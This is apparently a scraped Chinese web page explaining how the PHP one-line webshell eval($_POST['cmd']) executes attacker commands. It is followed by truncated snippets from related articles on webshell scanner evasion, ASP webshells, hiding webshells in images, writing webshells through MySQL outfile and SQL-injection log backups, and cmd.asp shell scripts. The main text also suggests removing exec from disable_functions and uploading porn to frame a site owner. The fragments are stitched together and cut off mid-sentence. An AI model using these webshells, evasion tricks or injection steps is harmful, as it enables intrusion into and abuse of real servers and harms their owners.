一句话木马(webshell)是如何执行命令的

在很多的渗透过程中,渗透人员会上传一句话木马(简称webshell)到目前web服务目录继而提权获取系统权限,不论asp、php、jsp、aspx都是如此,那么一句话木马到底是如何执行的呢,下面我们就对webshell进行一个简单的分析。

首先我们先看一个原始而又简单的php一句话木马。

<?php @eval($_POST[‘cmd‘]); ?>

看到这里不得不赞美前辈的智慧。

对于一个稍微懂一些php的人而言,或者初级的安全爱好者,或者脚本小子而言,看到的第一眼就是密码是cmd,通过post提交数据,但是具体如何执行的,却不得而知,下面我们分析一句话是如何执行的。

这句话什么意思呢?

php的代码要写在<?php  ?>里面,服务器才能认出来这是php代码,然后才去解析。

@符号的意思是不报错。

例如:

如果没有@,如下图,就会报错

为什么呢?

因为一个变量没有定义,就被拿去使用了,

服务器就善意的提醒:Notice,你的xxx变量没有定义。

这不就暴露了密码吗?

所以加上@

为什么pw是密码呢?

那就要来理解这句话的意思了

php里面几个超全局变量

$_GET、$_POST就是其中之一

$_POST[‘a‘];

意思就是a这个变量,用post的方法接收。

(传输数据的两种方法,get、post,post是在消息体存放数据,get是在消息头的url路径里存放数据(例如xxx.php?a=2))

eval()

把字符串作为PHP代码执行

例如:eval("echo ‘a‘");其实就等于直接 echo ‘a‘;

再来看看<?php eval($_POST[‘pw‘]); ?>

首先,用post方式接收变量pw,比如接收到了:pw=echo ‘a‘;

这时代码就变成<?php eval("echo ‘a‘;"); ?>

结果:

连起来意思就是:

用post方法接收变量pw,把变量pw里面的字符串当做php代码来执行

所以也就能这么玩:

也就是说,你想执行什么代码,就把什么代码放进变量pw里,用post传输给一句话木马

你想查看目标硬盘里有没有小黄片,可以用php函数:opendir()和readdir()等等

想上传点小黄片,诬陷站主,就用php函数:move_uploaded_file,当然相应的html要写好

你想执行cmd命令,则用exec()

当然前提是:

php配置文件php.ini里,关掉安全模式safe_mode = off,

然后在看看 禁用函数列表 disable_functions = proc_open, popen, exec, system, shell_exec ,把exec去掉,确保没有exec。

(有些cms为了方便处理某些功能,会去掉的)

看看效果:

现在应该理解,为什么说一句话短小精悍了吧!

我们在看一下一句话在菜刀之类的webshell管理工具里面是如何一句话是如何执行的

其实可以很明显看明白,其实执行的命令就和我们前面写的哪样进行输入输出,执行系统命令操作。

所以只要webshell有足够高的权限,可以做任何你想做的事情。

时间: 2024-11-06 13:02:23

一句话木马(webshell)是如何执行命令的的相关文章

PHP一句话木马Webshell变形免杀总结

0×00 前言 大部分Webshell查杀工具都是基于关键字特征的,通常他们会维护一个关键字列表,以此遍历指定扩展名的文件来进行扫描,所以可能最先想到的是各种字符串变形,下面总结了一些小的方法,各种不足之前还请看官拍砖. 0×01 字符串上的舞蹈 一般标准的一句话Webshell是利用PHP的eval函数,动态执行其他函数功能.其标准的形式如下: @eval ($_POST[xxxxx]); 很明显的eval会成为静态特征码Webshell扫描工具的关键字.加上一点小技巧,我们让其动态传入,或者

webshell之一句话木马变形

什么是一句话木马 一句话木马就是只需要一行代码的木马,短短一行代码,就能做到和大马相当的功能.为了绕过waf的检测,一句话木马出现了无数中变形,但本质是不变的:木马的函数执行了我们发送的命令. 我们如何发送命令,发送的命令如何执行? 我们可以通过 GET.POST.COOKIE这三种方式向一个网站提交数据,一句话木马用 $_GET[' '].$_POST[' '].$_COOKIE[' ']接收我们传递的数据,并把接收的数据传递给一句话木马中执行命令的函数,进而执行命令. 所以看到的经典一句话木

CMD命令下图片合成一句话木马命令

非常简单,我们只需要一张图片1.jpg一句话木马写好的php文件 1.php之后我们进入到命令行.注意:将php文件和图片文件放到同一目录下,cmd也要跳转到放文件的目录下之后执行命令 copy 1.jpg/b + 1.php/a 2.jpg 新生成的2.jpg就是我们制作好的图片马了,之后我们就可以通过工具来进行连接了. 原文地址:https://www.cnblogs.com/hack747/p/12271069.html

MySQL/ACCESS导出一句话拿WebShell后门命令

MySQL: Drop TABLE IF EXISTS temp; //如果存在temp就删掉Create TABLE temp(cmd text NOT NULL); //建立temp表,里面就一个cmd字段Insert INTO temp (cmd) VALUES(<? php eval($_POST[cmd]);?>); //把一句话木马插入到temp表Select cmd from temp into out file F:/wwwroot/eval.php; //查询temp表中的一

webshell下执行命令脚本汇集

cmd1.asp <object runat=server id=shell scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object> <%if err then%> <object runat=server id=shell scope=page classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A

常见的一句话木马

一句话木马入侵原理 <%execute request("#")%>是典型的一句话木马服务端代码,将这个代码写入asp文件,就成了一句话木马服务端文件. 仔细观察一下<%execute request("#")%>这句代码,括号里的"#"是我们一句话的密码,我们可以把它改成任意字符,这样可以避免别人发现我们的一句话木马后,轻松的通过它捡个大便宜,如果我们上传的一句话代码为<%execute request("

DBO权限日志备份专用一句话木马 - 寒龙网出品 以前的博客站因为程序错乱改为反病毒联盟后 本博客基于博客园地 感谢关注

备分专用一句话 加个response.end会有不一样的效果,也就是插入一句话后所有的代码都无效,在一句话这里打止,也就减小了webshell的大小. 日志备分WEBSHELL标准的七步: 1.InjectionURL';alter database XXX set RECOVERY FULL-- (把sql设置成日志完全恢复模式) 2.InjectionURL';create table cmd (a image)-- (新建立一个cmd表) 3.InjectionURL';backup lo

一句话木马

1.一句话说明 常用的一句话有冰狐浪子的一句话,蓝屏的,lack2的,当然还有海洋的.我们如果知道了一句话的原理.自己也可以很轻松的写一个. <%execute(request("cmd"))%> <%execute request("1")%> ASP一句话16进制:┼攠數畣整爠煥敵瑳∨≡┩愾 密码a 2.简单演示 1>.一句话你要写入数据库,数据库必须是asp格式或者我们能够通过备份备份为asp格式.用客户端连接这个asp的数据库.

PHP一句话木马

一: 关于PHP的一句话木马: 1 <?php 2 3 $a=$_POST['H']; 4 eval("$a");//eval会将输入的$a作为php语句执行,因此只要对_赋一定的system命令值,就能够执行系统命令 5 6 ?> 显示结果: 二: 关于PHP的一句话木马: 1 <?php 2 $string[email protected]$_POST["_"]; 3 var_dump($string); 4 5 echo "<